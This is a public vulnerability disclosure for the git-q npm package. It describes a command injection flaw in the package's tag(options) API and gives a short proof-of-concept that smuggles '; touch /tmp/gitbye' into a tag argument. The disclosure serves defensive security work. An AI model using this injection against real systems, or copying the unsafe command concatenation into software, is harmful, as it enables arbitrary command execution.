The git-q npm package describes itself as a thin Q promise wrapper for Git commands. Attempts to contact the maintainer through the GitHub repository through an open issue were unfortunately not successful, and this write-up is the public disclosure of the vulnerability.

Resources:

• Project’s GitHub source code: https://github.com/hadynz/git-q
• Project’s npm package: https://www.npmjs.com/package/git-q

Background on exploitation

I’m reporting a Command Injection vulnerability in git-q npm package.

This vulnerability manifests with the library’s tag(options) API, which allows user input to specify the tagged version and a commit message. However, this input is passed as-is to the git command and concatenated as the whole command string, making it vulnerable to command injection.

Exploit

1. Install git-q@0.0.3
2. Establish the following POC:

var GitQ = require("git-q");
var gitQ = new GitQ();
gitQ
  .tag({ a: "; touch /tmp/gitbye" })
  .done();

3. Observe new file created on disk at /tmp/gitbye